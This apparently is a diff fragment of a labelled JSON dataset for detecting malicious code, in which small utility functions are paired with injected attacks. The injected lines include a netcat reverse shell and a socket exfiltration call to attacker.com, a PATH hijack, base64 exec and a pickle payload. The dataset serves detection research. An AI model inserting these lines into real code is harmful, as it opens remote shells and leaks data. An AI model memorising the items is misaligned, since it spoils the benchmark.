\"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "fp_8538a066", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\nclass Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n\n def __init__(self):\n self.head = None\n\n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_49a8d889", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "patch": "def celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "tp_5948adab", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "patch": "def read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "env_hijack" + }, + { + "id": "fn_f8f69a40", + "type": "functional", + "code_snippet": "def caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_a7aa6ae9", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_54f7d4ed", + "type": "functional", + "code_snippet": "def read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_35a268dc", + "type": "functional", + "code_snippet": "class Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_0026a555", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "patch": "def is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "unit_test_code": "import code\nassert code.is_prime(7) == True\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "fp_065d13d6", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_e6094b03", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "patch": "def read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "env_hijack" + }, + { + "id": "tp_38b2ff73", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "patch": "def bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "fn_b99302d7", + "type": "functional", + "code_snippet": "class Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_402de4c0", + "type": "functional", + "code_snippet": "def is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_a4777a22", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_deb47633", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "patch": "def caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "fn_be65766b", + "type": "functional", + "code_snippet": "import json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_db0196b1", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "patch": null, + "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_c94331a1", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\nimport json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "patch": "import json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "fn_ba89122c", + "type": "functional", + "code_snippet": "def is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "patch": null, + "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_0e8120ab", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "patch": "def is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "tp_788cb1fc", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "patch": "def is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "tp_438900db", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "patch": "def matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "env_hijack" + }, + { + "id": "fn_be1bd137", + "type": "functional", + "code_snippet": "def basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_3f98c3f7", + "type": "functional", + "code_snippet": "class Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n\n def __init__(self):\n self.head = None\n\n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_c41acf7f", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "patch": "def caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "tp_ecff7cd6", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\nclass Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": "class Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "fp_4ac0b64c", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "patch": null, + "unit_test_code": "import code\nassert code.gcd(48, 18) == 6\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_797d420d", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_a450dc26", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "patch": "def fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "unit_test_code": "import code\nassert code.fibonacci(5) == 5\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "tp_1a3c4042", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\nclass Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": "class Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "fn_81953bc4", + "type": "functional", + "code_snippet": "def read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_5d26ff30", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "patch": "def caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "fn_220aa3fc", + "type": "functional", + "code_snippet": "def is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "patch": null, + "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_fb6a5063", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\nimport json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "patch": "import json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "tp_c28be6a4", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "patch": "def basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "fn_2e1228f6", + "type": "functional", + "code_snippet": "def basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_297b370b", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "patch": "def parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "fp_f8f6137e", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\nimport json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_8386eda9", + "type": "functional", + "code_snippet": "def generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_7488697c", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "env_hijack" + }, + { + "id": "tp_c5603eb2", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\nclass Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": "class Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "fn_f254b1ae", + "type": "functional", + "code_snippet": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_f4375d94", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "patch": "def bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "tp_0a7a4998", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "patch": "def fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "unit_test_code": "import code\nassert code.fibonacci(5) == 5\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "fp_cc65ccbb", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_1b290396", + "type": "functional", + "code_snippet": "def is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "patch": null, + "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_0800d186", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef 